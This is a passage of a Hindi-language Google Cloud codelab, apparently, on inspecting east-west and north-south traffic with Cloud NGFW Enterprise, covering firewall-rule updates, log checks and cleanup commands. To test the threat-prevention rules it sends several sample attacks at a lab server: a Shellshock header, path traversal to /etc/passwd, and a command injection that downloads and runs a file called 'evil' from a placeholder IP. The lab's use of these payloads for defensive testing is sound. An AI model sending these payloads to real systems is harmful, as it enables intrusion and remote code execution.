Cloud Shell पर वापस जाएं और L7 की जांच चालू करने के लिए, इन्ग्रेस डेटा ट्रैफ़िक के मौजूदा नियमों को अपडेट करें:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
इसके अलावा, यह पुष्टि करने के लिए फ़ायरवॉल के नियमों की जानकारी दें कि दोनों सही तरीके से अपडेट हुए हैं या नहीं:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
अनुमानित आउटपुट:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
नियम 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
अनुमानित आउटपुट:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
क्लाइंट वीएम पर वापस जाएं और इंटरनल सर्वर आईपी (ईस्ट-वेस्ट / इंट्रा-वीपीसी जांच) पर सैंपल अटैक फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Cloud NAT (उत्तरी-दक्षिणी इनबाउंड जांच) की मदद से, एक्सटर्नल सर्वर आईपी को सैंपल अटैक फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
यहां दिए गए आउटपुट के मुताबिक, पहले हमलों का कोई जवाब नहीं मिला. इससे यह पुष्टि होती है कि ज़्यादा गंभीर हमलों को अब ब्लॉक कर दिया गया है.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Network Security पर जाएं > लॉग की पुष्टि करने के लिए, Cloud Console पर खतरे की चेतावनी दिखाना. अगर हमले अब तक नहीं दिखते हैं, तो हो सकता है कि आपको कई बार रीफ़्रेश करने की ज़रूरत पड़े.
हमलों में से किसी एक को चुनें और "ऑडिट लॉग देखें" पर क्लिक करें दाईं ओर (वापस स्विच करने के लिए नए टैब में खोलें). ज़्यादा जानकारी दिखाने के लिए हमले को बड़ा करें:
इसके अलावा, लॉग एक्सप्लोरर फ़िल्टर को नीचे दी गई क्वेरी से बदलें:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
खतरे के लॉग की एंट्री को इस तरह से देखना चाहिए:
Cloud Firewall से इंटरसेप्ट किए गए पैकेट की पुष्टि, नीचे दिए गए लॉग एक्सप्लोरर फ़िल्टर का इस्तेमाल करके की जा सकती है. यह समस्या हल करने में मदद करता है:
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
इंटरनेट ट्रैफ़िक की जांच के लिए आगे बढ़ें (ज़रूरी नहीं) या एसएसएच सेशन बंद करें और क्लीनअप चरणों को पूरा करने के लिए अगले चैप्टर पर जाएं.
[ज़रूरी नहीं] इंटरनेट ट्रैफ़िक की जांच करना
जैसा कि पिछले सेक्शन में बताया गया है, अब तक निरीक्षण किए गए फ़्लो इंट्रा-सबनेट/वीपीसी (पूर्व-पश्चिम) और इंटरनेट से आने वाले ट्रैफ़िक (उत्तरी-दक्षिणी) हैं. Cloud शेल का इस्तेमाल करके, इग्रेस डेटा ट्रैफ़िक के लिए नया नियम बनाकर, सभी इंटरनेट ट्रैफ़िक (उत्तरी-दक्षिणी आउटबाउंड) की जांच करने के लिए, Cloud NGFW Enterprise को भी कॉन्फ़िगर किया जा सकता है:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
क्लाइंट वीएम पर वापस जाएं और बाहरी सर्वर आईपी पर ज़्यादा गंभीरता वाले हमलों को फिर से भेजें:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
अनुमानित आउटपुट:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
लॉग की पुष्टि करने के लिए, Cloud Console पर 'खतरे' टैब पर स्विच करें. ऐसा हो सकता है कि आपको कई बार रीफ़्रेश करना पड़े. हमलों की पहचान करके उन्हें फिर से लॉग करना चाहिए था, लेकिन अब सोर्स आईपी इंटरनल है, क्योंकि पहले इग्रेस डेटा ट्रैफ़िक का नियम ट्रिगर किया जा रहा है:
एसएसएच सेशन बंद करें और साफ़ करने के चरणों के लिए अगले सेक्शन पर जाएं.
8. स्टोरेज खाली करने का तरीका
Cloud NGFW Enterprise के कॉम्पोनेंट का क्लीन-अप
Cloud NGFW Enterprise के मौजूदा असोसिएशन की सूची बनाएं:
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise का असोसिएशन मिटाना:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise के मौजूदा एंडपॉइंट की सूची बनाएं:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Cloud NGFW Enterprise एंडपॉइंट को मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
पुष्टि करें कि नीचे दिए गए निर्देश का इस्तेमाल करके, Cloud NGFW Enterprise को मिटा दिया गया है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
सिक्योरिटी प्रोफ़ाइल ग्रुप और खतरे की रोकथाम वाली प्रोफ़ाइल को मिटाएं:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
बुनियादी सेटअप क्लीन-अप करना
अगर आपको बुनियादी संसाधनों को मिटाना है, तो अगले चरण पर जाएं.
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल तय करें. Cloud Shell से, नेटवर्क लोड बैलेंसर कॉम्पोनेंट मिटाएं:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
इंस्टेंस हटाना:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
इसके अलावा, अगर TagAdmin और tagUsers की भूमिकाएं बदल गई हैं, तो नीचे दिया गया तरीका अपनाएं:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
टैग कुंजी और वैल्यू हटाएं:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
क्लाउड फ़ायरवॉल नेटवर्क की नीति और असोसिएशन मिटाएं:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
क्लाउड राऊटर और क्लाउड एनएटी मिटाने के लिए:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
रिज़र्व किए गए आईपी पते मिटाएं:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
आखिर में, सबनेट और VPC नेटवर्क को मिटाएं:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. बधाई हो!
बधाई हो, आपने ईस्ट-वेस्ट और नॉर्थ-साउथ इंस्पेक्शन कोडलैब के लिए, Cloud NGFW Enterprise को पूरा कर लिया है.